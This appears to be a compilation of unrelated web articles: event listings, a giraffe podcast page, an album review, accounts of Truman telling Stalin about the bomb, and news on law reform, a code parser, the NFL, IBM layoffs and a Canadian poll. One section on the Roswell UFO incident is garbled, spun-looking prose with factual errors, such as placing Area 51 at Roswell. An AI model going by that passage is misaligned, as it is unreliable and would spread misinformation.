spiritual progeny of Ezra and Nehemiah are Wallbuilders, a political group that promotes pseudo-history and serves as a vehicle for ersatz historian David Barton.  You can find out more about Barton on his Right Wing Watch page.
-The Future of Listening  Zoom in When:  Friday, Oct 28, 2016 6:30p -  Sunday, Oct 30, 2016 5:00p Where:  Cambridge Innovation Center  1 Broadway  Cambridge, MA 02142 Admission:  FREE Categories:  Business, Innovation, Lectures & Conferences, Meetup, Tech Event website:  thefutureoflisteninghackathon.bemyapp.com  The Future of Listening Hackathon is a three-day event for developers, designers, and idea generators to explore the world of storytelling using the all-new Audible APIs.  You will gain exclusive access to private APIs, individualized mentorship from Audible experts, present your apps in front of Audible CEO Don Katz, and compete to take home the $10,000 Grand Prize.  The hackathon will be held at the Cambridge Innovation Center in Cambridge, Massachusetts. Click the map to view more details.  Teams should apply by October 14, 2016, to participate. The application is open to the public and individuals who apply will still go through a team formation before the hackathon, but forming a team in advance is recommended.
-In 1824 the viceroy of Egypt sent a unique gift to the new king of France: a two-month-old giraffe that had just been captured in the highlands of Sudan. In this week’s episode of the Futility Closet podcast we’ll follow the 4,000-mile journey of Zarafa, the royal giraffe, from her African homeland to the king’s menagerie in Paris.  We’ll also visit Queen Victoria’s coronation and puzzle over a child’s surprising recovery.  Intro:  In 1952 a stray cat made a home in Classroom 8 of a California elementary school.  Abe Lincoln’s ghost seems to spend a lot of time in the Lincoln Bedroom.  Sources for our feature on Zarafa the giraffe:  Michael Allin, Zarafa, 1998.  Erik Ringmar, “Audience for a Giraffe: European Expansionism and the Quest for the Exotic,” Journal of World History 17:4 (December 2006), 375-397.  Heather J. Sharkey, “La Belle Africaine: The Sudanese Giraffe Who Went to France,” Canadian Journal of African Studies 49:1 (2015), 39-65.  Olivier Lagueux, “Geoffroy’s Giraffe: The Hagiography of a Charismatic Mammal,” Journal of the History of Biology, 36:2 (June 2003), 225–247.  Samuel J.M.M. Alberti, “Objects and the Museum,” Isis 96:4 (December 2005), 559-571.  Philip McCouat, “The Art of Giraffe Diplomacy: How an African Giraffe Walked Across France and Became a Pawn in an International Power Struggle,” Journal of Art in Society (accessed May 14, 2017).  Olivier Lagueux, “Zarafa: A Giraffe’s True Story, From Deep in Africa to the Heart of Paris [review],” Isis 92:1 (March 2001), 186-187.  S. Mary P. Benbow, “Death and Dying at the Zoo,” Journal of Popular Culture 37:3 (2004), 379-398.  Elena Passarello, “Beautiful Animal of the King,” Paris Review, Dec. 20, 2016.  Henry Nicholls, “Meet Zarafa, the Giraffe That Inspired a Crazy Hairdo,” Guardian, Jan. 20, 2014.  Olivier Lebleu, “Long-Necked Diplomacy: The Tale of the Third Giraffe,” Guardian, Jan. 11, 2016.  Today Zarafa stands on the landing of a stone staircase in the Museum of Natural History in La Rochelle.  Listener mail:  Julia Baird, Victoria, 2016.  C. Dack, “The Coronation of Queen Victoria,” Pall Mall Magazine 48:219 (July 1911), 2-5.  Wikipedia, “East Asian Age Reckoning” (accessed May 26, 2017).  Josh Clark, “How Thoroughbred Horses Work,” How Stuff Works, Oct. 4, 2011.  This week’s lateral thinking puzzle was devised by Greg. Here are two corroborating links (warning — these spoil the puzzle).  You can listen using the player above, download this episode directly, or subscribe on iTunes or Google Play Music or via the RSS feed at http://feedpress.me/futilitycloset.  Please consider becoming a patron of Futility Closet — on our Patreon page you can pledge any amount per episode, and we’ve set up some rewards to help thank you for your support.  You can also make a one-time donation on the Support Us page of the Futility Closet website.  Many thanks to Doug Ross for the music in this episode.  If you have any questions or comments you can reach us at podcast@futilitycloset.com. Thanks for listening!
-Hexvessel – No Holier Temple  Label: Svart Records  Released: September 7th, 2012  I had never heard Hexvessel and am astounded by the originality of the music.There are direct influences of bands like Amon Düül II, Joe Byrd and Field Hippies, HP Lovecraft and King Crimson as well as many elements of other artists that appear momentarily in the music such as Tom Waits, The Beatles, Black Sabbath, The Doors. Hexvessel never directly copies the sound of any of these artists, instead drawing on them as herbs in a sonic stew of their own making.  The album opens with “Heaven and Earth Magic” an acoustic incantation of sorts. Preparing the listener for the journey. This is quickly followed by “Woods to Conjure” with classic muddy crunch guitar, drums and bass. Setting a tone for rich vocals harmonies and trumpet accompaniment. The timbral qualities of this recording are exactly what the listener wants and expects of this sort of music. The attention to the detail of sound sculpture really sets this recording apart.  “Wilderness Is” has a lilting chamber quality to it and serves as an extended introduction to “A Letter in Birch Bark”. A song that blends a wonderful rich male vocal performance with earthy guitar and organ. “Elegy to Goyahkla” is another short work that conveys the listener to the classic psychedelic sounding “His Portal Tomb”. This ten minute piece brings forth distorted heavy tones mixed with flute and vocals, with drones of sound pulsing in waves. Having reached this far into the album, the listener is now treated to what starts as a simple guitar motif turned into some dark germanic carnival music on “Are You Coniferous”.  “Sacred Marriage” again finds that deep psychedelic rock sound, not heavy but deep. While “Dues to the Dolemen” finds Hexvessel creating the sounds of invocation with spoken word over acoustic instrumentation followed by a droning instrumental riff.  The opus “Unseen Sun” clocks in at nearly thirteen and a half minutes. This work sums up the whole album experience in a single piece of music with great vocal parts, extended droning riffs that carry the listener on waves sound. This is the music that brings the listener full circle from where the journey began.  The last cut on No Holier Temple is a cover of “Your Head is Reeling” by Ultimate Spinach. I actually prefer this version to the original. And though I really love the recording it feels that it does not completely belong on this record. This song has a great jam in the middle. I would love to hear Hexvessel put out an entire album in this vein.  As I stated in the beginning, No Holier Temple is not an album for everybody. However if you do enjoy that lo-fi sound of a psychedelic yesteryear, check this album out.  Buy the album:  [amazonmp3 asin=”B008UVXG3Y”]
-Truman Tells Stalin, July 24, 1945  Most of the groups and individuals who had considered the subject — from the Scientific Panel to the writers of the Franck Report — believed it necessary to inform the USSR of the imminent success of the Manhattan project. Failure to do so, they believed, would guarantee a post-war atmosphere of suspicion and hostility.  At the Potsdam Conference, however, President Truman chose to tell Stalin only that the U.S. possessed “a new weapon of unusual destructive force.” Truman’s decision raises an obvious question: Since Stalin would learn of the existence of the atomic bomb the day it was used, if he did not know already, what purpose could be served by Truman’s tactic?  Truman’s announcement to Stalin can be seen here from the accounts of the various observers. Each describes the same event, but the event appears in a different light to each observer. Did the “master politicians” Truman, Churchill, and Byrnes know what they were doing? Or did they make a tragic blunder?  President Truman's version:  On July 24 I casually mentioned to Stalin that we had a new weapon of unusual destructive force. The Russian Premier showed no special interest. All he said was he was glad to hear it and hoped we would make “good use of it against the Japanese.”  Harry S. Truman, Year of Decisions (Garden City, NY: Doubleday and Company, 1955) p. 416.  British Prime Minister Winston Churchill’s version:  I was perhaps five yards away, and I watched with the closest attention the momentous talk. I knew what the President was going to do. What was vital to measure was its effect on Stalin. I can see it all as if it were yesterday. He seemed to be delighted. A new bomb! Of extraordinary power! Probably decisive on the whole Japanese war! What a bit of luck! This was my impression at the moment, and I was sure that he had no idea of the significance of what he was being told. Evidently in his immense toils and stresses the atomic bomb had played no part. If he had the slightest idea of the revolution in world affairs which was in progress his reactions would have been obvious. Nothing would have been easier than for him to say, “Thank you so much for telling me about your new bomb. I of course have no technical knowledge. May I send my expert in these nuclear sciences to see your expert tomorrow morning?” But his face remained gay and genial and the talk between these two potentates soon came to an end. As we were waiting for our cars I found myself near Truman. “How did it go?” I asked. “He never asked a question,” he replied. I was certain therefore that at that date Stalin had no special knowledge of the vast process of research upon which the United States and Britain had been engaged for so long...  Winston Churchill, Triumph and Tragedy (Boston: Houghton-Mifflin, 1953) pp 669-70.  Secretary of State James Byrnes’ version I:  At the close of the meeting of the Big Three on the afternoon of July 24, the President walked around the large circular table to talk to Stalin. After a brief conversation the President rejoined me and we rode back to the “Little White House” together. He said he had told Stalin that, after long experimentation, we had developed a new bomb far more destructive than any other known bomb, and that we planned to use it very soon unless Japan surrendered. Stalin’s only reply was to say that he was glad to hear of the bomb and he hoped we would use it. I was surprised at Stalin’s lack of interest. I concluded that he had not grasped the importance of the discovery. I thought that the following day he would ask for more information. He did not. Later I concluded that, because the Russians kept secret their developments in military weapons, they thought it improper to ask us about ours.  James F. Byrnes, Speaking Frankly (New York: Harper and Brothers, 1947) p. 263.  Secretary of State James Byrnes’ version II:  I am just as convinced now as I was when I wrote that first book, “Speaking Frankly,” in 1947, that Stalin did not appreciate the significance of the statement. I have read stories by so-called historians who assert that he must have known, but they were not present. I was. I watched Stalin’s face. He smiled and said only a few words, and Mr. Truman shook hands with him, left, coming back to where I was seated and the two of us went to our automobile.  I recall telling the President at the time, as we were driving back to our headquarters, that, after Stalin left the room and got back to his own headquarters, it would dawn on him, and the following day the President would have a lot of questions to answer. President Truman thought that most probable. He devoted some time in talking to me that evening as to how far he could go — or should go.  Stalin never asked him a question about it. I am satisfied that Stalin did not appreciate the significance of President Truman’s statement. I’m pretty certain that they knew we were working on the bomb, but we had kept secret how far that development had gone.  James Byrnes, interview in U.S. News and World Report , August 15, 1960 pp 67-68.  Truman’s Interpreter Charles Bohlen’s version:  Three days after the successful test blast, after consulting his advisers and Churchill (the British had cooperated in the project), Truman decided it would be wise to tell Stalin the news. Explaining that he wanted to be as informal and casual as possible, Truman said during a break in the proceedings that he would stroll over to Stalin and nonchalantly inform him. He instructed me not to accompany him, as I ordinarily did, because he did not want to indicate that there was anything particularly momentous about the development. So it was Pavlov, the Russian interpreter, who translated Truman’s words to Stalin. I did not hear the conversation, although Truman and Byrnes both reported that I was there.  In his memoirs, Truman wrote that he told Stalin that the United States had “a new weapon of unusual destructive force.” Apparently, the President did not tell Stalin the new weapon was an atomic bomb, and the Soviet leader did not ask or show any special interest. He merely nodded and said something. “All he said was that he was glad to hear it and hoped we would make good use of it against the Japanese,” Truman wrote. Across the room, I watched Stalin’s face carefully as the President broke the news. So offhand was Stalin’s response that there was some question in my mind whether the President’s message had got through. I should have known better than to underrate the dictator. Years later, Marshal Georgi K. Zhukov, in his memoirs, disclosed that that night Stalin ordered a telegram sent to those working on the atomic bomb in Russia to hurry with the job.  Charles E. Bohlen, Witness to History 1929-1969 (New York: W. W. Norton, 1973) pp. 247-248.  British Foreign Minister Anthony Eden’s version:  Mr. Churchill and I had previously discussed together the problem of telling Stalin and, if so, whether before the explosion of the bomb or after. If we did tell him would he ask for the know-how at once? A refusal would be awkward, but inescapable.  There were embarrassments every way, but on balance I was in favour of telling Stalin. My chief argument was that the United States and Britain would have to refuse the secret information. They would be better placed to do this if Stalin had already been told that we possessed this weapon and meant to use it. There was not much to this, but the Prime Minister thought it the better way.  On the question of when Stalin was to be told, it was agreed that President Truman should do this after the conclusion of one of our meetings. He did so on July 24th, so briefly that Mr. Churchill and I, who were covertly watching, had some doubts whether Stalin had taken it in. His response was a nod of the head and a brief “thank you.” No comment.  Anthony Eden, The Reckoning: The Memoirs of Anthony Eden, Earl of Avon , (Boston: Houghton Mifflin, 1965) p. 635.  Soviet Marshal Georgii Zhukov’s version:  I do not recall the exact date, but after the close of one of the formal meetings Truman informed Stalin that the United States now possessed a bomb of exceptional power, without, however, naming it the atomic bomb.  As was later written abroad, at that moment Churchill fixed his gaze on Stalin’s face, closely observing his reaction. However, Stalin did not betray his feelings and pretended that he saw nothing special in what Truman had imparted to him. Both Churchill and many other Anglo-American authors subsequently assumed that Stalin had really failed to fathom the significance of what he had heard.  In actual fact, on returning to his quarters after this meeting Stalin, in my presence, told Molotov about his conversation with Truman. The latter reacted almost immediately. “Let them. We’ll have to talk it over with Kurchatov and get him to speed things up.”  I realized that they were talking about research on the atomic bomb.  It was clear already then that the US Government intended to use the atomic weapon for the purpose of achieving its Imperialist goals from a position of strength in “the cold war.” This was amply corroborated on August 6 and 8. Without any military need whatsoever, the Americans dropped two atomic bombs on the peaceful and densely-populated Japanese cities of Hiroshima and Nagasaki.  Georgii Konstantinovich Zhukov, The Memoirs of Marshal Zhukov (New York: Delacorte Press, 1971) pp. 674-675.
-Tunisia, Jordan and Lebanon have scrapped laws that allow rapists to escape punishment by marrying their victims  Laws that allow rapists to marry their victims in order to escape prosecution are being repealed in countries across the Middle East.  Within the last six weeks, parliaments in Tunisia, Lebanon and Jordan have all amended laws that provide legal loopholes for rapists to avoid punishment for their actions.  On 26 July, Tunisia closed such loopholes while passing a landmark law which aims to eliminate violence against women. Meanwhile, on 1 August, the lower house of Jordan’s parliament approved a repeal, now set to go to the upper house and the king before becoming law. And in Lebanon on 16 August a law was repealed that not only allowed rapists to escape prosecution by marriage, but also included loopholes for offences relating to sex with children aged 15-17 and seducing virgin girls into having sex with the promise of marriage.  The news might all seem bad, but good things are happening too.  “Provisions like these are largely colonial-era relics and remain on the books in many other countries in the region and beyond,” said Rothna Begum, a researcher for Human Rights Watch.  “Some permit exoneration for a range of offenses, including kidnapping, rape, and consensual sex with a child (statutory rape) if the perpetrator marries the victim.”  Such laws are thought to be inspired by the French Napoleonic Code of 1810, which allowed men who kidnapped women to escape prosecution if they married their victims. France only repealed the provision in 1994.  The latest set of repeals follows Morocco in 2014 and Egypt in 1999. But similar laws still exist across much of the Middle East and north Africa including Algeria, Bahrain, Iraq, Kuwait, Libya, Syria, and Palestine. In many countries, rape survivors are considered unmarriable.  These reforms are credit to the intense campaigning by women’s rights organisations in these countries  It is thought that pressure from women’s rights groups in the region helped lead to the reforms in Tunisia, Lebanon and – soon – in Jordan. Campaigners hope that other countries will follow suit but warn that work still needs to be done, even in countries where laws have been changed.  “These reforms are credit to the intense campaigning by women’s rights non-governmental organisations in these countries, but laws alone can’t change practices,” said Begum.  “Even if such provisions are removed, forced marriage may continue unofficially as it has in many countries. The authorities should take steps to change the discriminatory attitudes and stigma that fuel forced marriages of rape survivors to their rapists.”  Tired of divisive, scaremongering media?
-At source{d} we believe there’s a possibility for programs to write code, and for new forms of automatic programming to emerge. Our Roadmap states the first step in this direction as: Build representations of source code, developers and projects.  Today we are announcing Babelfish, the project we are developing to build these representations of source code.  What’s Babelfish?  Babelfish is a universal code parser. It aims to parse any file, in any language, extract an abstract syntax tree (AST) from it, and convert it to a Universal Abstract Syntax Tree (UAST)  Well, that’s our objective, we are not there just yet, but we have designed an architecture to achieve exactly that, and we’re currently working on it.  The architecture of Babelfish  As shown in the figure, Babelfish is a client/server system. Clients are source code analysis tools that rely on the server for actual source code parsing, written in different programming languages.  Architecture overview.  The server itself uses language drivers to perform the parsing, which are divided in two parts, in order to minimise the work of developing a new driver:  A language code parser, which builds a native AST. This parser can be built directly from the target language’s compiler tools or libraries.  An AST normalizer written in Go, that gives the UAST as a result.  The server uses containers to run these drivers through libcontainer. This frees the user from having to handle dozens of different language ecosystems, since the server executes drivers using Docker images.  Have a look at the documentation for further architecture details.  What can I do with Babelfish today?  Babelfish project is still in an early development stage, but we already have some components of its architecture working.  We have a working server, which can accept parsing requests, launch the corresponding language driver, and return a response with the parsed file.  We have a dozen language drivers in various stages of development, with a quite advanced python driver, and a usable java driver.  We have a set of tools that showcase how babelfish works, and how it can be used to build your own code analysis tools on top of it.  If you can try it yourself, you can do so with a small set of commands. First, make sure you have Go installed and GOPATH properly set.  We can then install the tools with the following commands:  mkdir -p ${GOPATH}/src/github.com/bblfsh/ cd ${GOPATH}/src/github.com/bblfsh/ git clone https://github.com/bblfsh/tools.git cd tools make dependencies go build  This will build the our showcase tools and install them in ${GOPATH}/bin .  We can get the server running just using docker:  docker run --privileged -p 9432:9432 --name bblfsh bblfsh/server  And verify that everything is working properly:  > ${GOPATH}/bin/bblfsh-tools dummy /usr/lib/python2.7/base64.py DEBU[0000] executing command DEBU[0000] reading file /usr/lib/python2.7/base64.py DEBU[0000] dialing request at localhost:9432 It works! You can now proceed with another tool :) DEBU[0087] exiting without error  Note that this command may take a while, since the server will have to get the python driver the first time it runs.  Now we can try for example, the cyclomatic complexity sample tool:  > ${GOPATH}/bin/bblfsh-tools cyclomatic /usr/lib/python2.7/base64.py DEBU[0000] executing command DEBU[0000] reading file /usr/lib/python2.7/base64.py DEBU[0000] dialing request at localhost:9432 Cyclomatic Complexity = 47 DEBU[0000] exiting without error  How can I contribute?  Babelfish’s development is open and is based on BIPs. The code is available at bblfsh project Github, and discussions are held at source{d} community Slack (#babelfish channel).  If you’re interested in the project, you can look further at the documentation, give it a try, and report back any issues you have.  If you find it useful, you are more than welcome to contribute code to any of its components, or even to write a driver for your favourite language! Drop by the slack channel and tell us about it :)  P.S. Santiago is giving a talk about Babelfish both at Curry On and Docker meetup. Don’t miss it if you have the chance to be there!
-And entering their sixth draft together, the Schneider-Carroll partnership is viewed by many as the model for running an NFL team.  Attempting to explain the key to success for one of the better teams in the NFL, former coach Brian Billick pulls out a statistic.  This one, though, is about an even more universal topic.  “What’s that they say, 60 percent of marriages in this country end in divorce?’’ Billick asks.  NFL draft Begins Thursday. The Seahawks do not have a first-round pick but do have 11 picks overall, the most in the NFL. Their first selection will No. 63, in the second round.  The number actually is closer to 50 percent. And the relationship being discussed — that of Seahawks coach Pete Carroll and general manager John Schneider — isn’t technically a marriage.  But Billick said it’s best viewed that way, carrying many of the same challenges and stresses.  “Just like any marriage, if you have the right two people it’s pretty good,’’ said Billick, who coached the Baltimore Ravens to a Super Bowl XXXV win and is an NFL Network analyst. “If you don’t, it’s hell on Earth. They’ve been able to sustain it.’’  The final play of the most recent Super Bowl aside, the Schneider/Carroll partnership has been more than “pretty good,’’ with the Seahawks averaging 10 regular-season wins a year since the two arrived, including the team’s first Super Bowl win following the 2013 season.  And entering their sixth draft together, the Schneider-Carroll partnership is viewed by many as the model for running an NFL team — the Seahawks have a deep-pockets owner who doesn’t meddle and a general manager and coach working in collaboration.  Schneider is perceived as having final say over the 90-man roster the team brings to camp each year, with Carroll having final say over who is kept on the 53-man regular-season roster. If there have been disagreements, they apparently weren’t major, and they weren’t public.  “It’s really a great study in how to operate a franchise,’’ said Bill Polian, a longtime NFL exec with the Bills and Colts and now an ESPN analyst. “ … They’ve got a great working relationship with a great understanding of what fits their system, and they’ve executed it perfectly.”  Seattle’s mode of operation is far from the only way to run an NFL franchise. And in something as complicated as running billion-dollar businesses, every team has some unique characteristics in how it operates.  But in general, there are a few basic NFL organizational structures.  When (their moves) don’t work, they aren’t afraid to admit a mistake and let them go. That’s critical.” - Jed Hughes, consultant who helped connect Schneider with the Seahawks  There are teams where owners are heavily involved and call just about every shot — Dallas with Jerry Jones the most notable example (and the Raiders in the Al Davis days).  There are teams with strong general managers who essentially have all the power when it comes to personnel — think Denver with John Elway.  There are the teams with coaches calling all the shots — New England with Bill Belichick, and now, after an offseason housecleaning, Chip Kelly in Philadelphia.  And then there is the collaborative approach with a GM and coach largely sharing responsibilities, one that has been the norm in the NFC West with partnerships such as that of Seattle’s as well as GM Steve Keim and coach Bruce Arians in Arizona, and GM Trent Baalke and coach Jim Harbaugh in San Francisco.  Most around the league view a buddy-system approach as the best way to go, given the complexities of the modern-day NFL.  “It’s beyond just one man,’’ Billick said. “This (collaboration) is the model.’’  But as the recent Baalke-Harbaugh breakup after just four years illustrates, sustaining a partnership isn’t easy.  “A lot of it has to do with ego — I don’t need you anymore,’’ Billick said. “Trent Baalke doesn’t need Jim Harbaugh now. So now we are going to find out whether he does or not. And sometimes it’s one side saying ‘I need more input’ or ‘I had more to do with this than I am getting credit for.’ ’’  So far, those are pitfalls that have escaped the Seahawks, and one reason may be the way Seattle’s braintrust was assembled.  Carroll was hired first in January 2010 after the firing of Jim Mora. He was told by CEO Tod Leiweke he could be his own general manager.  But Carroll, having been fired already by the Jets and Patriots, had a clearer understanding when he got to Seattle of what he thought would work.  “I knew that I couldn’t do that (be general manager),’’ Carroll said. “I wanted to find a guy like John Schneider if we could, and between that process we were very fortunate that we hit it right, and we figured out through the interview process that John would be an extraordinary partner to do this with, and on we went.’’  As the story has famously been told, Schneider had a job offer waiting for him before his plane landed back in Green Bay, where he had worked the previous eight years in the personnel department.  “It was a vision that Pete put in place right away, that all he cared about was that he wanted to have an influence in who the general manager was going to be so that in his mind he could make it like the best relationship that ever existed,’’ Schneider recalled this week of that initial meeting. “That was his goal — that he wanted to do it better than anyone has ever done it before.  “So that, the way it was presented to me, and then being able to just have that inspiration and that confidence that what he was saying, and that it was ego-less, I think that’s probably where that trust level comes in that he had a clear vision in mind of how he wanted to interact with a general manager. And that’s why it was such an attractive job, in my mind.’’  That both arrived at the ground floor of a rebuilding process hasn’t hurt, many say. There have been no conflicting agendas between a GM looking for the long term and a coach wanting to win immediately, a common malady in sports organizations.  Jed Hughes, a consultant for the search firm Korn Ferry, which helped connect Schneider with the Seahawks, points to what might be the biggest personnel misstep of the Schneider/Carroll era — the trade for Percy Harvin — as a sign of their strong relationship.  Teams often feel compelled to hang on to disappointing players to try to improve the public perception of the move. But Seattle’s trade of Harvin last fall is only the most notable example of the Seahawks being willing to move on quickly from something that wasn’t working.  “When (their moves) don’t work, they aren’t afraid to admit a mistake and let them go,’’ Hughes said. “That’s critical.’’  Carroll signed an extension last year keeping him with Seattle through the 2016 season, matching an extension given to Schneider the year before.  In the news conference announcing his extension, Carroll spent most of his time deflecting praise to Schneider.  “When we came here we really set a vision in place that started with the relationship between the two of us,’’ Carroll said. “I felt like we had an opportunity to demonstrate to professional sports how powerful and how crucial this relationship is. … I hoped that someday that we would be able to say that so other teams could see it and see that this is a format that is really a great way to do it.’’
-William Gheen, the leader of an anti-illegal immigration group, has received considerable attention after asking Sen. Lindsey Graham (R-SC) to admit he’s gay — an unsubstantiated allegation — before liberals can use it against him.  Comedy Central’s Stephen Colbert slammed Gheen Thursday and quipped, “Lindsey Graham, save your good name by releasing a sex tape!”  “Nine times out of ten I’m on the side of whoever is calling somebody gay,” Colbert said. “But the person being accused here is a senator from my home state, an I’m not going to let someone slander his good name.”  Graham, who has been the target of rumors about his sexuality for years, says he’s not gay. In this case, he was arguably targeting by Gheen because he is one of a few Republican senators willing to negotiate with Democrats for immigration reform.  “I hope this secret isn’t being used as leverage over Senator Graham, so today I think Senator Graham, you need to come forward and tell people about your alternative lifestyle and your homosexuality,” Gheen told a Crowd of Tea Partiers in South Carolina last weekend.  The remarks went viral after they were posted on YouTube by his group, Americans for Legal Immigration PAC (ALIPAC). At one point, the video was marked with the tags “queer” and “fag.” ALIPAC claimed that their video page had been hacked and the tags were soon removed.  “I have to admit, that was very brave of Mr. Gheen. Outing someone usually takes the kind of courage only displayed by male prostitutes paid by tabloid magazines,” quipped Colbert in his “The Word” segment Thursday.  Colbert looked to an old “Sex and the City” episode for ways the senator can clear this up permanently. In season six, Kim Catrall’s character is determined to quash rumors that her male model boyfriend is gay, and decides that only by making a sex tape can her man prove he’s straight.  “Sir, it will save your career,” Colbert said. “Because any kind of straight sex seems to be okay with the GOP. I mean, just look at Governor Mark Sanford, Senator John Ensign or Senator David Vitter, who is still in office despite being named as a client by the D.C. madam three years ago and dogged by rumors that he allegedly likes prostitutes to dress him up in diapers.”  “So just rent the equipment. Hell, rent the girl. Just put it in there and get it out there,” Colbert suggested.  At that, Colbert turned his attention to Gheem. “He’s a big opponent of illegal immigration, and the immigration reform bill is the next big piece of legislation in Obama’s pipeline. Now, Gheen knows the Republicans only have 41 seats in the Senate. To block legislation, they have to march in unison. So the real threat is not the fact that Lindsey Graham is gay, which he isn’t, it’s that he’s bi, which he is, bi-partisan,” the comedian said.  Gheen has suggested Graham may be getting blackmailed into bipartisanship, but the activist hasn’t targeted other Republican senators — such as Sens. Olympia Snowe (ME), Susan Collins (ME) and Scott Brown (MA) — who have voted with President Obama on initiatives.  Even Gheen seems to swing both ways. “I just found out that he worked with the Democratic party in the 1990s. That sounds pretty bipartisan,” Colbert said.  Based on that fact, Colbert turned the tables in Gheen. “I’ve got to at least consider the possibility that someone found out he gets off by going to the ballpark on weekends and laying in a trough in the men’s room like a human urinal cake. I have got nothing to back that up. I just need to know that that’s not true,” he concluded.  This video is from Comedy Central’s The Colbert Report, broadcast April 22, 2010.  Part 1  Part 2
-A day after employees took to social media sharing firsthand stories suggesting IBM had begun a large round of job cuts, a source within the company told CRN on Thursday the layoffs will not be nearly as widespread as some feared.  Big Blue is cutting a percentage of its roughly 370,000-strong workforce in the "low single digits," meaning the extent of the layoffs globally will likely be just in excess of 10,000 workers, according to a source within the company who asked not to be identified.  While not directly addressing the layoffs, IBM, via email, described to CRN a dynamic in which the company was rejigging the skill sets of its employee base.  [Related: IBM Has Been Going Full Steam Ahead Since PartnerWorld Conference]  "IBM is aggressively transforming its business to lead in a new era of cognitive and cloud computing. This includes remixing skills to meet client requirements," IBM said. "To this end, IBM hired more than 70,000 professionals in 2015, many in these key skills areas, and currently has more than 25,000 open positions."  Also on Thursday, Reuters reported Big Blue was planning to cash out a large portion of its holdings in Lenovo.  IBM will put up for sale up to $150 million in Lenovo stock, according to the news service. Lenovo acquired IBM's x86 server business in October 2014 in a $2.1 billion deal, with $280 million going to IBM in the form of the Chinese PC-maker's stock.  On Wednesday, on a Facebook page that serves as a forum for IBM workers called Watching IBM, employees reported that the ax was falling across multiple locations and divisions of the company. Stoking employee consternation was a recent change in IBM's severance policy that reduced severance payments from six months to one, according to the posts.  One employee posted on the Watching IBM page: "I am a GTS Strategic Outsourcing casualty of the mass firing today. My manager told me it was big and widespread, and I'd be hearing from a lot of people that will also be notified today."  That employee was given 90 days until an official end date, and received a one-month severance package, according to the post.  Such reports suggest many of the cuts might come from Big Blue's consulting and services arms -- Global Business Services and Global Technology Services.  While job losses and employee unease about job security is always unfortunate, it's possible the company's channel will benefit by being asked to pick up some slack in delivering consulting services, said Kevin Goodman, managing director at BlueBridge Networks, a hosting provider based in Cleveland that partners with IBM.  "This gap that comes [from] growth, change and innovation also provides smaller regional boutique shops and providers like our company, BlueBridge Networks, the opportunity to provide service and meet and exceed business and IT objectives in the areas not filled by the void," Goodman told CRN.  The source inside IBM said the company has been increasing the number of its developers who work directly with channel partners, "and you can expect that to continue."  Goodman told CRN that any time a company backs off from an aspect of their services and consulting business, especially those focused on the SMB market, "there are players like us who are ready, willing and able to pick up the opportunities and serve them as we would to large enterprise-class companies."  IBM, like other established tech companies, needs to continue reinventing to maintain a leadership position in the digital age, with its ever-changing technology landscape, Goodman said.  IBM "continues to demonstrate the way to get to personalization in the world is by taking cloud platforms and infusing them with cognition and delivering them as a service. Much of what they do seems to reinforce this," Goodman said. "I fully expect IBM and other more established players in the digital age to take on new roles in the ecosystem in a nontraditional way to their DNA."
-Aliens & U.F.O.s  Aliens and ufos are talked about and documented geologicallly dating back to as far as biblical times. several verses within the Old Testament of the Bible would lead one to assume these men were attempting to explain some kind of craft. However, Alien analysis, and sightings of UFOs have only in the near past became the discussion on everyones mouth over the past fifty - sixty years, with the govt. concealment of the Roswell observation and flying saucer crash back in 1947.  What truely happened in Roswell, NM that hot July night in 1947? certainly you have heard of the incident in Roswell that has remained an argument still to these days. there's absolute confidence that something crashed to the dessert that night, however there appears to be no robust drawn conclusion among the various theories. Was it a weather balloon or an alien UFO? an oversized cluster of individuals still say that the U.S. military and administration officials has several questions they've failed to answer regarding the Roswell crash. These theorists claim there was a massive conspiracy to cover up what truely happened. Whatever it truely was that crashed, left a path of rubbish reaching nearly a mile long and a around a few hundred feet wide. 1st discovered by an area ranch manager, the rubbish was recovered by the 509th Bombardment cluster Intelligence workplace with Major Jesse Marcel at the lead.  Immediately upon their return to the Roswell, New Mexico base, Area 51, there was an official press release stating that debris from some kind of flying disc had been recovered. It had been written by Lt. Walter Haut, and a newspaper story followed on July 8th with the headline "RAAF Captures Flying Saucer on Ranch in Roswell Region".  Mr. and Mrs. Dan Wilmot appear to be the sole individuals in Roswell which saw the flying disk. They were sitting on their front porch around 10 PM when an oversized glowing object soared out of the sky in a northwesterly direction at a high rate of speed. Wilmot directed his wife's attention thereto and each ran out into the yard to look at. it absolutely was in view less then a moment, Wilmot calculated. Wilmot same that it looked as if it was 1500 feet high and flying about four hundred to five hundred miles per hour. It looked oval in form like 2 saucers, facing mouth to mouth. The whole body glowed as if light were showing through from within. From wherever we stood Wilmot explained that the UFO looked to be close to five feet in size, and creating allowance for the space it was from the city he patterned that it should be fifteen to twenty feet in diameter, although this was simply a guess.
-On issues of environment and energy development, the opinions of Albertans are diverging sharply from the rest of the country, according to a new Forum poll for the National Post.  The Forum Research survey, which questioned 1,863 Canadians and 682 Albertans across the country at the beginning of April, found a deep ideological split between the country’s oil-rich region and the other provinces.  “There’s been some speculation about the differences between the east and the west and I guess this confirms that. But when when we say those differences are in the west, they’re more centred in Alberta,” said Lorne Bozinoff, president of Forum Research.  A majority of Albertans, for example, supported construction of the contentious Keystone XL and Northern Gateway pipelines. A full 72% of Albertans surveyed believe in climate change, but they were less likely to attribute the phenomenon to human activities than Canadians elsewhere.  Of the 545 Albertans who believed in climate change, only 55% said it was caused by human activity. That was on par with respondents in Atlantic Canada, Manitoba and Saskatchewan, but very different from Quebec and B.C., where 78% and 72% respectively attributed the change to non-natural phenomena. About 64% of Ontarians surveyed believed the same.  While it should probably come as little surprise to see Albertans favouring policies that serve their own economic interests, the rest of Canada seems just as ready to do the same.  While the rest of the country overwhelmingly opposes Keystone XL and Northern Gateway, they seem to have no compunctions about benefiting from the wealth those pipelines and the oil in them would help generate.  About 60% of Canadians believe provincial resource extraction revenues should be shared equally. In Ontario 72%, felt this way, as well as 69% of Liberal supporters. Approximately a third of Albertans tend to welcome the idea of sharing the wealth.  “[Central Canada] wants to eat their cake and have it too, right. You have to forgive people who want to do that, I think. It’s kind of a human trait,” Mr. Bozinoff said.  “That probably bothers people in the industry and in Alberta. People in the east are consuming plastics and everything else.”  [Central Canada] wants to eat their cake and have it too  The survey found Canadians are split more by their region on these issues than by income, gender or education.  Following other polls, the survey also recorded an emergent Justin Trudeau. Canadians were asked which leader was best able to represent the interests of their respective regions. On the whole, they were about equally split between the new Liberal leader and Conservative Prime Minister Stephen Harper. About a quarter of the respondents said Mr. Harper was best able to represent their region. That tracked with the 27% who awarded the distinction to Mr. Trudeau.  Mr. Harper remains the favourite in Alberta, while Mr. Trudeau has the edge in Atlantic Canada and Quebec.  NDP 